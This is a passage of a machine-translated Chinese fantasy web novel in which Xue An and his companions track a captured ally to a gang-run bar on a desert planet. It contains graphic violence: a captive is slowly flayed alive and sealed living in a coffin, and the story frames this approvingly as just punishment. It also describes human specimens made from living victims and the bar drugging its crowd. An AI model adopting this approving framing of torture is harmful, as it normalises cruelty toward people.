    She discerned the direction and the location at the moment, and then drove the Fu Bao Xiaolou towards a certain direction of the starry sky.


    And just as she concentrated on driving, Hu Ye walked up to Xue An and asked in a low voice in puzzlement.


    "Old Xue, who is this Feibai? Why are you a little surprised after hearing this name, and then go to see him?"


    "Yes, Brother Ang, do you really know this Feibai?"


    Xue An laughed, "Of course I know, not only I know, but he was also a member of the Fire Phoenix Special Forces!"


    "A member of the Fire Phoenix?" Hu Ye was taken aback.


    Of course he understood what the fire phoenix meant to Xue An.


    That was his absolute team, and they were all subordinates who were loyal to him.


    It is a pity that after a night of great changes, in this world that has been tampered with, although the Fire Phoenix still exists, it has become the private security force of Hongyu Villa.


    Hu Ye had been to this unit before and met Cheng Hao and others, but none of them remembered Xue An.


    At this moment, An Yan on the side suddenly said: "Husband, this Feibai you said was the person you saved in the Kunlun Secret Realm?"


    Xue An nodded, "Yes, it''s him!"


    The origin of this Feibai can be traced back to when Xue An just came back from rebirth, when the Kunlun Secret Realm was born, Xue An went deep alone and met many people.


    Among them was this Feibai. At that time, he was the true arrogant of the Kunlun Secret Realm Yujian Villa. He was quite powerful, especially good at kendo.


    But what Xue An is best at is to deal with all kinds of dissatisfaction, so the peerless genius of Kunlun Secret Realm began to doubt life when he met him.


    However, Xue An didn''t kill him, because this Feibai was not bad, and he was extremely obsessed with kendo.


    It was a pity that such a person killed him directly, so Xue An left him behind.


    Feibai was not a fool, and he naturally saw Xue An''s strength. It is ridiculous that Yujian Villa wanted to do something with Xue An at his own discretion, so he was quickly taught to be a human being.


    Then Feibai made an amazing decision, resolutely took refuge in Xue An, and joined the Fire Phoenix Special Forces as one of them.


    For him, this may be a major decision that could affect his life, but he did not hesitate, and he understood that in order to rebuild the glory of Yujian Villa, the first thing to do was to become a strong one.


    That''s why he made this decision.


    Because of this, Xue Ancai was quite impressed with this person.


    It was just that after leaving the Kunlun Secret Realm, the strength of the Fire Phoenix Special Forces grew day by day. Together with the talents of Zhou Daniu, Cheng Hao and others were excavated by Xue An a little bit, it became more and more dazzling.


    In contrast, Feibai seemed ordinary, so he almost never played in the later stage, and has always been silent as a background.


    But this does not mean that Xue An has forgotten him, especially when the girl named Si Qingqing actually said that it was him who taught her to think independently, Xue An became even more curious about him. .


    He can have this kind of thought, is it possible that UU has noticed something? And since the Fire Phoenix Special Forces still existed, how did he escape?


    With these questions, Xue An is ready to go and find out.


    At this time, Fu Bao Xiaolou had crossed many star regions and came to a very prosperous galaxy.


    And along the way, through Si Qingqing''s narration, Xue An probably also knew a little bit of the context of this world.


    It turned out that in this tampered world, since the so-called Cthulhu War, the development of the earth has embarked on the fast lane.


    With the help of the technology left by the "Protoss", the humans on Earth quickly mastered the technology of interstellar navigation and began to expand frantically.


    Now it is too far to say that at least half of the Milky Way has been covered in the footprints of human beings on Earth.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2597 Feibai), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2598： Explore

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Some of the livable planets have been transformed into colonies, and many people who can''t get along with the earth have gone to these planets to look for opportunities.


    Hu Ye hadn''t mentioned these things before, because after the panic that night, he devoted almost all of his energy to finding the whereabouts of the missing people. How could he have time to understand the so-called history of this world.


    But Xue An listened with gusto, and raised some detailed questions from time to time.


    For example, what are the technologies left by those protoss?


    Si Qingqing had no choice but to shook his head, "How can I know those going? It is said that these remaining technologies are all in the hands of the Federal Security Office, but they are tightly sealed and locked, and outsiders have no idea."


    Upon hearing this, Xue An couldn''t help asking.


    "Then what kind of grievances do you have with the federal government? Why do you oppose them?"


    "I can''t talk about grievances, it''s just that my brother is a bit uncomfortable with the actions of these people! On the contrary, there is a sea of ??blood and deep enmity between the rebels and the federal government." Si Qingqing said.


    As he was talking, a huge planet appeared outside the window of Fubao Xiaolou. The planet was khaki in color as a whole, but occasionally a little bit of green was interspersed with it.


    "This is the planet we live on. In the archives of the Federal Security Office, this is a junk planet with the code name 676, which has extremely low development value, but we like to call it rhubarb!"


    Hu Ye asked a very stupid question, "Why is it called Rhubarb?"


    Si Qingqing rolled his eyes, "Don''t you find that this planet is all yellow?"


    After all, Si Qingqing said to Xue An: "When you come with me to meet my brother, don''t be so public. It''s best to have two or three people, otherwise it will easily attract other people''s attention."


    Xue An nodded, then waved his hand, Fu Bao Xiaolou and everyone disappeared instantly.


    He was the only one left in the space, and Hu Ye and Si Qingqing.


    Si Qingqing opened his mouth slightly and shook his head immediately, "Well, I admit that you are really good. Come with me."


    With that, Si Qingqing turned around and flew to this planet.


    Xue An and Fox Ye followed.


    During the flight, Fox Ye couldn''t help but ask in a low voice: "Old Xue, I still don''t understand what you are doing here with so much trouble. Now all the spearheads are aimed at this Rauche Federal Government Office. Is it all right?"


    "Then what?" Xue An said without looking back.


    "What then?"


    "What happens after I find this federal government? What''s the next step? Kill everyone?"


    "This..." Hu Ye was asked.


    "Remember, the first thing we have to solve when we come back this time is how to restore this tampered world to its original appearance, and now we don''t even know what it is and what means it did. In this case, What''s the effect even if there is a slaughter?"


    Hu Ye was speechless.


    He really thought that before, and felt that based on the strength of himself and Xue An, since he knew that there was a problem with this so-called federal government, it would be over if he went directly to the door.


    He didn''t realize how complicated and tricky this matter was until he heard what Xue An said.


    At the same time, they flew into the planet''s atmosphere and landed in a small town.


    As you can see from space, as far as you can see from this planet, you can basically see one color, that is, yellow.


    The ground is yellow sand, and the sky is faint yellow blown by strong winds.


    Even the buildings in this small town have been eroded by wind and sand to become khaki.


    When they landed, the land was still blowing strong winds, but this did not hinder the people in this small town from having fun.


    There were even a few drunk men who drank too much and fell asleep on the street like no one.


    When Si Qingqing led Xue An and Huye into this small town, he immediately welcomed many greetings.


    "Qingqing is back!"


    "Qingqing really gets longer and more beautiful!"


    "Xiao Qingqing, come over and talk to Grandpa!"


    "Go, go, your lousy old man drools when he sees the little girl, so hurry up and go!"


    Si Qingqing also smiled amidst the grinning greetings, and responded one by one.


    "Well, I''m back!"


    "Thank you Second Uncle, I also think that the longer I am, the more beautiful I am."


    "Mrs. Hao, you really should be in charge of Grandpa San. Two days ago, I saw him and a pretty young girl talking for a long time!"


    After speaking, Si Qingqing walked across the street grinningly, leaving behind a flurry of turmoil.


    Especially the roar of the grandmother Hao was deafening.


    In this situation, Si Qingqing led Xue An and Huye around two street corners, and finally came to a dilapidated building.


    But when he stood in front of the door, Si Qingqing''s expression changed abruptly, "No!"


    After all, she rushed into the room desperately.


    Hu Ye was a little stunned, "What''s wrong with her?"


    Xue An said lightly: "You can smell what is in the air!"


    After all, Xue An took a step towards the building.


    Only then did Hu Ye open up his sense of smell, and his face became very solemn in an instant.


    Because he smelled a strong blood.


    You must know that as a fox clan, his sense of smell is already extremely sensitive, and sometimes it even becomes a problem, so he often turns off his sense of smell.


    And now the **** air he smelled seemed to be on the battlefield full of bones, almost disgusting.


    what happened?


    Could there be countless dead souls buried in this dilapidated building?


    Hu Ye also hurriedly walked into the building, and even the well-informed him couldn''t help but be moved.


    Although it is only separated by a door, the inside and outside are like two worlds.


    The outside is faint yellow that covers the sky and the sun, but inside is a shocking bright red.


    There was blood everywhere, and even the ground under my feet was soaked with blood.


    "This...what''s going on?" Hu Ye Jing asked.


    At the same time, Si Qingqing ran upstairs like crazy, and the two followed closely. When they arrived on the second floor, they saw a mess here. U U Reading


    There were deep sword marks everywhere on the floor, and it was obvious that someone had engaged in a fierce fight here.


    Si Qingqing leaned weakly against the wall of the door panel, his face pale as paper, and he muttered to himself.


    "It''s over!"


    "What''s over?" Hu Ye asked anxiously.


    "My brother is dead!" At this point, Si Qingqing began to cry.


    The cry was terrible.


    Hu Ye was upset by crying and was trying to dissuade him, but at this moment, Xue An made a silent gesture at him, and then pointed out the building with his hand.


    Huye felt something immediately, and then nodded gently.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2598 Exploring), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2599： Drunk Dance Bar

    Chapter 2599 Drunk Dance Bar


    At the same time, with this small building as the center, many people suddenly appeared on the street within a radius of 500 meters.


    These people are without exception, all wearing uniform uniforms, holding sharp blades, looking cold, and walking forward silently.


    A breathtaking murderous aura gathered above their heads, like a black cloud, overwhelming people''s breath.


    In an instant, the noisy town became deadly silent.


    All the residents who saw this scene showed horror, and then hid in the room hurriedly, not even daring to breathe, for fear of attracting the attention of this group of thugs.


    But there are also people who are full of worries. For example, the few people who have just greeted Si Qingqing are hiding in the room at this time, but the expressions on their faces are extremely sad.


    "It''s broken now, they must be rushing to Qingqing, what can we do? What about her brother?" The grandmother Hao whispered in a panic.


    "I haven''t seen Feibai since yesterday, who knows where he is!" Her old man was angry.


    "If this falls into the hands of the people in the Drunken Dance Bar, Qingqing will really be better off dead!" Granny Hao said very sadly.


    "Oh, it''s a pity that Qingqing is a good girl! The people in the drunk dance bar are also deceiving too much!" The old man said bitterly.


    Granny Hao was so scared that she hurriedly covered his mouth and whispered: "You don''t want to die? You dare to talk about the people in the drunk dance bar behind your back. If this is heard by them, they won''t take your old bones. Take it apart alive?"


    The old man''s anger remained unresolved, "But I just can''t swallow this breath, so a good girl will fall into the claws by sight. If this is replaced by me when I was young, I will definitely fight with these **** girls!"


    Granny Hao sighed, "Okay, stop bragging, I don''t know you yet? I blame Feibai for offending the drunk dance bar! Young man, doing things is too impulsive, and it hurts herself. Say, even my own sister got in!"


    The old couple hid in the room and whispered, but they didn''t know that they were all heard by the brawny man who walked outside the house.


    This is a brawny bald man with a height of two meters, five to six meters. He has muscles all over his body. He stretches the black dress tightly. You can see evil tattoos spreading from the cuffs and neck. All over his body.


    In short, this is a thug who is chilling enough to look at it.


    And when he heard the conversation between the old couple in the room, he couldn''t help grinning wide and grinning.


    "After catching this little lady, remember to hang up the two old guys in this room and burn them to death!"


    "Yes!" He immediately responded.


    After deciding the tragic fate of the old couple in an understatement, the brawny man cast his gaze on the dilapidated building, his face slowly showing a vicious look.


    "This little lady looks pretty good, but the boss said that he wants to take her back and play a little bit in front of her brother, so I will be careful when I do it later, don''t kill it!"


    The men nodded silently.


    "Jie Jie, blame your brother for being indifferent, dare to offend our drunk dance bar, and kill so many of our bosses!"


    said, the brawny man pointed forward.


    These men rushed towards the Xiaolou like a pack of hungry wolves.


    The brawny man stood behind and watched, his face full of contentment.


    Not to mention anything else, just my subordinates are enough to slaughter this town back and forth three times.


    What''s more, what I was dealing with this time was just a yellow-haired girl who had not dried up, and there was no pressure.


    Although her elder brother was so powerful, he even almost killed the black snake, but that was because the black snake was so stupid.


    I am not like him, I have a brain!


    Just like this mission, as long as you successfully capture this Si Qingqing, then you can make another contribution in front of the boss, and then the black snake boy''s face will definitely be wonderful.


    After all, he has damaged so many of his men, but in the end he made a wedding dress for himself.


    Thinking of this, the brawny man couldn''t wait to laugh three times, and then stood confidently on the spot, waiting for his men to break through the small building and capture Si Qingqing, so that he could go back for business.


    But when he was full of ambition, things happened suddenly.


    I saw his men rushing to the front of the small building aggressively, but before they could do anything, they heard a faint sound in the air.


    As soon as the sound was heard, these men trembled, and then they fell to the ground as if their muscles and bones had been taken out.


    Then I saw a trace of redness slowly oozing out of the throat of these people, and they died in this way.


    From they rushed forward to their death, the whole process only took a few seconds.


    The smile on the brawny man''s face was stagnant, and then his eyelids jumped frantically, his muscles tightened instantly, and he obviously felt a huge crisis.


    The key is that he didn''t feel any strangeness in this small building from the beginning to the end, and he didn''t even feel any aura fluctuations when the small noise came.


    is like the same breeze blowing, and then these men of my own are like fallen leaves in autumn, falling down and turning into dead bodies.


    Such unthinkable methods made him shudder, who has always been cruel.


    "Whh...who?" The strong man hissed and he was ready to retreat.


    Although the boss��s mission is very important, no matter how important it is, it��s not as important as one��s own life.


    What''s more, all of his subordinates were wiped out in just one face, UU reading www.uuk��nshu. The com opponent is obviously strong and terrible.


    To be on the safe side, the strong man decided to retire first.


    As for the so-called reputation..., he doesn''t care about them at all.


    But when he was about to go quietly and then withdraw, the back of his neck suddenly felt itchy.


    what happened?


    Why does it so much suddenly?


    With doubts in his mind, he turned his head to look, and then saw a scene that he will never forget.


    I saw a man standing on the roof of a building not far away.


    This masculine temperament is lazy, standing there carelessly, looking at him with a smile.


    But this is not the main thing, the main thing is that there are nine hairy tails flying behind this man.


    When I looked at him, one of the tails just withdrew from behind me. Obviously, the itching I just felt was also from it.


    This brawny man''s heart is chilling.


    Fortunately, I just scratched it. If this man wanted his own life just now, I guess I didn''t even know it, and he would be finished at that time.


    (end of this chapter)

 Chapter 2600： Seeing death as home? Crying without tears!

    Chapter 2600 Seeing Death as Home? Crying without tears!


    "Who are you...who are you?" the brawny man yelled inwardly, and at the same time he tightened his feet and kept backing away.


    Hu Ye shook his head and sighed lightly: "I advise you to better not move back, otherwise if you fall into his hands, you will really have to survive and die!"


    Where is the strong man willing to listen to the words of Fox Ye, only if he is lying to himself with false words, so the speed of retreating has not decreased but increased.


    Just then, Si Qingqing walked out of the house.


    When he saw her, the burly man''s eyes lit up.


    To be sure, there is definitely a close relationship between this strange man with a tail and this Si Qingqing.


    My own subordinates just died in the hands of this man.


    And if I want to live now, my only hope is to control this Si Qingqing.


    In this way, this man with a long tail would definitely throw a rat, and dare not do anything to himself.


    And if he operated properly, he might be able to capture this Si Qingqing directly.


    Doesn��t this kill two birds with one stone?


    At this point, the brawny man couldn''t help but laughed, and then rushed towards Si Qingqing like a hungry tiger.


    During the attack, the burly man also glanced at the fox night in the distance from the corner of his eye, for fear that he would make any more moves.


    It turned out that Hu Ye was standing there, without any intention of doing anything. Not only that, but there seemed to be a cold smile on the corner of his mouth.


    is like watching a stupid monster take the initiative to jump into a trap.


    This discovery made the brawny man''s heart cold, and he was not shocked. Xuan even forcibly turned a direction in the air and tried to escape.


    But just as he adjusted his posture, an invisible coercion came on.


    The strong man didn''t even hum, he fell heavily to the ground, smashing the ground into a big hole.


    Amidst the smoke and dust, the strong man lay on the ground with a bleeding nose and mouth. He wanted to struggle but couldn''t even move his fingers. He could only watch a figure walk out of the smoke and slowly approached him.


    After seeing the person''s face clearly, the pupils of the brawny man shrank instantly, and an expression of infinite horror appeared on his face.


    is not to say how wicked people are.


    On the contrary, the one who came was a gentleman dressed in white with a delicate face.


    is such a handsome boy, but he feels great fear in the strong man like falling into an ice cellar.


    It''s all because of the boy''s eyes.


    What kind of eyes are those.


    is like a **** who sees through everything and overlooks everything in the world, judging all sins.


    In front of these eyes, the brawny man felt his infinite insignificance and humbleness.


    He has no doubt that if he changes a little, this young man will definitely kill himself without hesitation, just like crushing a bug.


    So he didn''t dare to make the slightest movement, so he could only lie on the yellow sand and look at Xue An.


    Huye arrived at this time, and then bared his teeth at the brawny man.


    "What did I just say, I told you not to run, you just won''t listen, how is it now? You know it''s awesome!"


    The brawny man simply wanted to cry without tears, how did he know that things would suddenly become like this.


    If he knew, he would not come to this small town to catch Si Qingqing if he was killed.


    At this moment, I saw Si Qingqing first inspected the people who fell to the ground and died, and then rushed to the front of the brawny man with a murderous look, and sternly asked.


    "Drunk Dance Bar, it really is your group, say! Did you take my brother away?"


    The brawny man said nothing.


    "Okay, don''t you say so!"


    The silence of the brawny made Si Qingqing furious, and when she lifted her foot, she stepped heavily on it.


    Although Si Qingqing''s strength is not very good, now this brawny man''s energy and blood are sealed off, and there is no resistance at all, so this foot still caused him a serious injury.


    Even so, the brawny man did not say a word.


    "Okay, it seems that you guys at the Drunken Dance Bar really have a backbone, then I will fulfill you today!"


    Si Qingqing was about to be mad, her brother''s sudden disappearance, coupled with the blood all over the small building made her have a very bad premonition, so the silence of the brawny man made her furious.


    ������!


    After a few feet fell, the burly man��s teeth shattered, and blood spurted out from his mouth and nose.


    But even so, the strong man still didn''t even hum.


    Si Qingqing still wanted to do something, but at this moment, Hu Ye stopped her.


    "Wait a minute, I don''t think you should fight anymore!"


    "why?"


    "Because it seems that this guy can''t speak even if he wants to speak now!"


    As expected.


    After a closer look, I discovered that this brawny man who regarded death as his hometown was silent, purely because he was frightened by Xue An''s pressure, so he could not speak at all.


    After hearing what Fox Ye said, the brawny man had tears in his eyes, and his tears almost didn''t fall.


    Since Si Qingqing''s first question, he screamed crazy in his heart.


    I want to say!


    I want to say everything!


    But the point is that I can��t open my mouth at all!


    That''s why I was beaten up just now without making a sound.


    And when Fox Ye finished speaking, Si Qingqing looked at Xue An.


    Xue An shrugged, "I''m sorry, I just forgot this too!"


    said, the coercion removed.


    The strong man just regained a part of his control over the body, and then he screamed in tears.


    "I said, I said, as long as you don''t kill me, I will say anything!"


    That humble appearance is just so embarrassing and embarrassing.


    Ke Si Qingqing didn''t care about it anymore. She squatted down and viciously grasped the clothes on the chest of the brawny man. Although the proportions were extremely uncoordinated, it was completely unaffected by the murderous aura on Si Qingqing''s body.


    "You tell me, UU reading www.uukansshu.com my brother was taken away by your people?"


    "Yes!" The strong man nodded as if pounding garlic, and then he didn''t forget to add.


    "It was captured by the black snake!"


    "Then who are you?"


    "I''m the security supervisor of Drunken Dance Bar, my name is Zixie!"


    Then, through the narration of the purple scorpion, the three of them only understood what was going on.


    This drunk dance bar is one of the most terrifying forces within a radius of thousands of miles.


    Although it is called a bar, it actually controls all the economic lifelines of a city.


    The background of the backstage boss is even more unfathomable.


    There are even rumors that he has an association with the senior officials of the federal government.


    Because of this, the people in this drunk dance bar are extremely arrogant and domineering.


    Feibai was because of this conflict with Drunken Dance Bar.


    And because of this, the Drunken Dance Bar included Feibai on the list of must-excludes, until this sudden attack, after paying a terrible price, he was finally captured.


    "In other words, my brother is not dead yet, but was caught by you in the drunk dance bar?"


    (end of this chapter)

 Chapter 2601： 0 knives

    Chapter 2601


    "Yes!" Zi Xie explained hurriedly.


    "The black snake is not compatible with me, but he is very important to him, so he will complete the task this time!"


    "But I didn''t expect Brother Ling to be so powerful, so that Black Snake broke all the elite hands before capturing him, but this time his loss is too heavy, he has no more power to fight, so the boss sent me here. Watch here, trying to catch you too!"


    After that, he looked at Si Qingqing cautiously, for fear that it would irritate her again.


    "This is all from the boss''s instructions, I just follow orders, so your brother''s business really has nothing to do with me!"


    Si Qingqing''s heart is like a knife twist.


    She naturally knows the grievances between her brother and the Drunken Dance Bar, and coupled with the usual style of the Drunken Dance Bar, I can imagine what kind of treatment my brother will receive after being caught.


    And if it hadn''t happened to meet Xue An and Huye, maybe even he had fallen into the clutches of the clutch now.


    So when she heard Zi Xie''s excuse, her eyes were red with anger, and she couldn''t wait to hack this guy alive.


    "It has nothing to do with you... Ha ha, if it weren''t for two friends on my side, would I have become your prey now?" Si Qingqing said murderously.


    Zi Xie felt a powerful crisis.


    This feeling made his scalp tighten, and he could only look at Xue An and Huye pleadingly.


    "The two adults are forgiving, what I said is the truth, and as long as you can leave my life as a dog, I am willing to do anything. By the way, I also know many secrets about the boss, and I believe it will be something for you. help."


    In order to survive, this purple scorpion has nothing to care about.


    But in the face of his pleading, Xue An was indifferent at all, just glanced at Si Qingqing.


    "What do you mean?"


    "Naturally, I mean to slash this guy thousands of times. You don��t know. Don��t look at this guy��s pitiful performance. Normally, he relied on the power of the drunk dance bar to show off his power. Pity!" Si Qingqing said bitterly.


    As soon as she finished speaking, Xue An nodded, "Okay!"


    Then, in the next instant, countless strands of sword light shattered like feathers completely submerged the purple scorpion.


    In an instant, the painful cry of the purple scorpion came from the sword light.


    "No... I don''t want to die..."


    But the shout came to an abrupt end, but it wasn''t because he was dead. On the contrary, even though the Sword Mang Batter, it cleverly avoided the vitals of his whole body, so he would not die for a while.


    The reason why ���� can''t make a sound is entirely because there is a blade of sword lance passing through his throat, but it does not hurt the trachea and arteries, but cleverly cut off his vocal cords.


    This time, this purple scorpion can only open his eyes, looking at Xue An not far away in horror and despair.


    At this moment, in his mind, this beautiful girl-like white-clothed boy is even more terrifying than the devil.


    Because even facing the devil, it''s just a death.


    But the situation I''m in now is more terrifying than death.


    ������!


    Accompanied by a sound like ants and insects, countless sword lights spun off and disappeared.


    But every appearance of the sword light will take away a trace of flesh and blood from the purple scorpion.


    In an instant, the flesh and blood of the purple scorpion began to decrease rapidly at a speed visible to the naked eye, but strangely, even so, the blood vessels and nerves of the purple scorpion still did not suffer any damage.


    These sword beams are like a surgeon with extremely high medical skills, gnawing the flesh and blood of the purple scorpion by means of magic to the pinnacle, but they are not guilty of other things.


    Si Qingqing''s eyelids jumped with the right amount of control.


    As Feibai''s younger sister, she is no stranger to Jian Xiu.


    Because of this, she can deeply realize how terrifying Xue An''s strength is at this moment.


    Not to mention anything else, just this kind of abnormal control over Jian Mang is enough to be shocking.


    And the extreme calmness that Xue An showed during the whole process made Si Qingqing secretly startled.


    She never thought that she would just casually say that she would cut this purple scorpion a thousand times, and then Xue An really did it.


    In an instant, the sword light dispersed.


    Then the figure of the purple scorpion was revealed again.


    What a shocking sight this is!


    I saw that his whole body was gone, only the dense blood vessels and nerves were left. Besides, all the organs in his body were not harmed, and even the heart was beating stubbornly.


    Yes!


    Even at this time, the purple scorpion is still alive.


    Actually, this purple scorpion is only weak compared to Xue An and Huye.


    His true strength is at least above that of Da Luo.


    In addition, what he is practicing is a special physical exercise method, which has caused his vitality to be much stronger than ordinary people.


    Even though he was full of hatred for the purple scorpion, Si Qingqing couldn''t help swallowing his saliva after seeing this numbing scene.


    "Take...what to do with him next?" Si Qingqing asked with difficulty.


    Xue An glanced at her with a faint smile, "Did you just say you want to cut him out, why are you asking me now?"


    "I... I just think it would be too wasteful to kill him like this, after all, if he wants to rescue my brother, this guy might still be useful!" Si Qingqing said with a guilty conscience.


    Hearing these words, Zi Xie, who was already in a semi-conscious state of pain, rolled his eyes with difficulty, and looked at her with pleading gaze.


    At this time, his eyelids have been cut off by the sword light, so he can only look at people like this. UU reading


    But Xue An shook his head, "It''s just a small bar. It doesn''t take so much trouble."


    These words ruthlessly shattered the last glimmer of hope in Zi Xie''s heart, and his eyes quickly dimmed.


    and Si Qingqing was even more surprised.


    What is meant by just a small bar? It is a terrorist force that has dominated the city for several years.


    How did he get to this boy''s mouth but it was such an understatement, as if it was not worth mentioning at all.


    At this moment, Xue An suddenly smiled and asked: "Do you think I''m doing this a bit cruel?"


    Si Qingqing did not speak, but there was a little unbearable expression in his eyes.


    She really hates the group of Zixie people, but she always feels that torturing people like this is a bit too cruel.


    Xue An sighed softly, "It seems that you are still too naive, do you really think that this purple scorpion is just the evil in your mouth?"


    As he said, Xue An opened his hand, and there was a ring in the palm of his hand.


    The ring is so big that it can even be used as a girl''s bracelet.


    "This is his carry-on ring, which contains something you absolutely never expected. Would you like to see it?" Xue An said lightly.


    (end of this chapter)

 Chapter 2602： Lifelike specimen

    Chapter 2602-Lifelike Specimen


    Si Qingqing was unclear, so she took the ring and looked at it lightly, and then her complexion quickly turned pale, and infinite anger appeared in her eyes.


    "He did it all?"


    "Who else do you think?"


    At the same time, Hu Ye took the ring from the dazed Si Qingqing, looked at it casually, and then couldn''t help but sigh slightly.


    "What a beast! No, calling you a beast is an insult to a beast. You should be worse than a beast."


    The reason why the good-tempered Fox Ye can swear such swear words is entirely because of the things stored in this ring.


    There is nothing else here, it''s all densely packed glass cabinets.


    The ���� glass cabinet is a collection of fresh human specimens.


    I saw these people, old and young, men and women, but without exception, they were all sealed in glass cabinets in a very vivid manner.


    You can even tell from the expressions on these people how painful and desperate they were before they died.


    To be sure, these specimens were made while people were alive.


    Although this purple scorpion has a rough appearance, it is quite artistic. Before completing these human specimens, it will often make some changes to people.


    The so-called transformation actually cuts out a certain part of the organ completely and then exposes it to the outside.


    But what really makes people angry is the specimens of the pregnant women.


    In order to prevent readers from having nightmares, I won��t go into details here.


    In short, everything in it is full of naked sin.


    At least when Si Qingqing came back to his senses, the first thing he did was squat aside and threw up.


    Xue An did not urge, but waited quietly.


    Until she vomited, she said calmly: "Do you still think he is pitiful now?"


    Si Qingqing shook his head without hesitation, gritted his teeth and said: "I only hate him for one life now, otherwise I must kill him a few more times!"


    Xue An smiled slightly, "Don''t worry, he is not that easy to die. I must let him taste everything he has imposed on others before he can die."


    As he said, Xue An stepped up to the purple scorpion, and then slowly squatted down to look directly at his eyes.


    The purple scorpion was already painful and numb at this time, and his eyes were even more sluggish, apparently on the verge of collapse.


    Xue An certainly would not allow him to escape pain in this way.


    A breath of breath entered his body, and his dying heart instantly began to beat strongly.


    Then the purple scorpion regained consciousness.


    But when he saw Xue An squatting in front of him, his sober mind almost collapsed.


    For Xue An, he is now extremely afraid.


    Xue An smiled slightly, "Don''t be so scared, isn''t this your favorite game? It''s just that I will carry it forward and use it on you."


    The blood of the purple scorpion began to tremble.


    Xue An said lightly: "Let me think about it, what should I do next? Oh, yes, it should be pouring you a little bit with a special potion, so that you can always stay in this state. Right?"


    As he said, Xue An gave a hint, and a glass coffin fell out of the purple scorpion''s portable ring.


    Seeing this thing, Zi Xie trembles more severely.


    Although his tongue had been cut off, he still opened his mouth wide, as if he wanted to ask for mercy.


    But Xue An didn''t give him this opportunity at all, just touch it directly.


    He flew up and fell into the glass coffin.


    Then, a transparent potion was poured into it, first the ankles, then the thighs, then the abdomen...


    The potion spreads up little by little, and every time it passes, the purple scorpion will struggle with great pain.


    Obviously this process is extremely painful.


    But any struggle is of no avail.


    In the blink of an eye, these transparent potions completely sealed the purple scorpion in the glass coffin.


    But now he is different from the specimens he made by himself.


    Even through a layer of glass, he can still see his eyes turning slightly, obviously not dead.


    But this kind of life is countless times more terrifying than death.


    Because this will be a torture that is so long that I don��t know when it will end.


    For people like Zixie, this is just a little interest on the heinous crimes he committed.


    Xue An flicked his finger, a flash of fire flashed, and all the specimens in the ring were all turned into fly ash.


    The return to the earth that should return to the dust, and the rise to the sky that should return.


    After finishing all this, Xue An put away the glass coffin of Purple Scorpion again, and said lightly.


    "go!"


    "Go? Where to go?" At this moment, Si Qingqing had been stunned by Xue An''s extreme calm and at the same time the extreme methods, so he asked in a daze.


    "Go to the Drunken Dance Bar and save your brother!"


    Although Drunken Dance Bar is some distance away from this town, it is just a flick of a finger for Xue An.


    Soon, the three of them entered the street where the Drunken Dance Bar is located.


    This is the most central street in the city, and there are various bars and nightclubs on both sides of the street.


    The largest and most luxurious one is the location of the Drunken Dance Bar.


    When Xue An and the three people came here, it was the lively time of Hua Deng''s first appearance.


    There was a surging crowd on the street, and people in all kinds of strange costumes appeared here.


    In contrast, Xue An and the three people seem less noticeable.


    But because of Xue An��s outstanding appearance, UU reading www. uukanshu.com still attracted many mad bees and butterflies.


    "Hey handsome guy, do you want to have a drink with your sister?"


    "Let''s make a price, my sister will book you tonight!"


    There are endless conversations like this.


    Xue An didn''t feel annoyed either. He just pushed away the hands that were trying to wipe oil without moving, and then stepped into the drunk dance bar.


    As soon as he crossed the threshold, a violent and hot heavy metal music hit his ears.


    And this music seems to be mixed with some other means. People with weaker concentration just hear this sound and they can''t help falling into extreme excitement.


    At least Si Qingqing appeared in a trance.


    But soon these voices disappeared, and Xue An''s voice came from behind his ears.


    "This bar is really weird, please follow me and don''t run around!"


    "Hmm!" Si Qingqing nodded nervously.


    At the same time, they crossed the veranda and finally walked into the bar hall.


    Deafening music, rhythmic flickering lights, and women wearing hot pants, dancing their waists frantically.


    All these constitute the faces of all beings in this bar.


    (end of this chapter)

 Chapter 2603： blacksnake

    Chapter 2603 Black Snake


    "Why are these guys... like crazy?" Looking at the men and women who were twisting their bodies almost madly on the dance floor, Hu Ye couldn''t help but vomit.


    Xue An took a deep look at these people, and then said lightly: "You are right, they are crazy."


    At the same time, in a room on the corner of the first floor, a man with a gloomy expression and sinister eyes was watching a monitor.


    "Increase the dose!" The man ordered viciously.


    The subordinates hesitated a little, "But the dose given today is already several times the usual amount. If you increase it again, it''s easy to get into trouble!"


    "What? Are you questioning what I said?" the man snorted coldly.


    "No... dare not!"


    "Huh, aren''t these people here just for fun, then I will just let them get addicted today!" The man said almost savagely.


    These people did not dare to refute, so they had to put some kind of powder into the air again according to the man''s instructions.


    In an instant, the already frenzied atmosphere became more and more violent.


    Everyone seemed to have lost their minds and began to sway hysterically.


    This scene like a flurry of demons dancing Linghuye was stunned by it.


    "What''s the matter? Why are these people getting crazy?"


    "Did I just say that these people are indeed crazy!" Xue Anyi pointedly said.


    At this moment, the man who was monitoring the audience in the room suddenly spotted the three of Xue An, and then he was taken aback.


    "What is the origin of these three people who just came in? Why are they not affected by our potions at all?"


    It can be seen from the monitoring screen that only Xue Anhu and Si Qingqing are the only ones standing calmly in place among the madness in the audience.


    And this also made the three of them very eye-catching, so it attracted the attention of this man.


    "I don''t know, but the three of them are all face-to-face. Obviously they are not our regular customers here!" One of the subordinates responded, and then looked at the man.


    "Would you like to send a few people to inquire first?"


    The man looked at the three people on the screen, and especially noticed the leader Xue An, his mouth gradually raised.


    "No need, I will go there myself later."


    Upon hearing his words, all of these men shuddered secretly, and then they were full of sympathy for the three on the screen.


    Because they all know that, since this man said so, it means that he is eyeing these three people.


    And in this drunk dance bar, if you are stared at by this man, it would be more uncomfortable than death.


    Everything is because of this man''s name.


    Black snake!


    A name that can stop crying in the area of ??thousands of miles.


    is called the two giants of the Drunken Dance Bar with the tall purple scorpion who likes to collect human specimens the most.


    is an existence that no one dares to provoke.


    Normally, this black snake rarely appears in the bar lobby, but today he didn''t know what was going on, and he actually came to this monitoring room.


    But these subordinates didn''t know that the black snake at this moment was full of anger and needed to vent.


    And the cause of everything came from the mission yesterday.


    At that time, he was sent out by the boss to clean up a guy who had hatred with the bar. He thought it was just an ordinary task.


    As the number one giant of the Drunken Dance Bar, Black Snake has performed this kind of task less than 100 or 80 times.


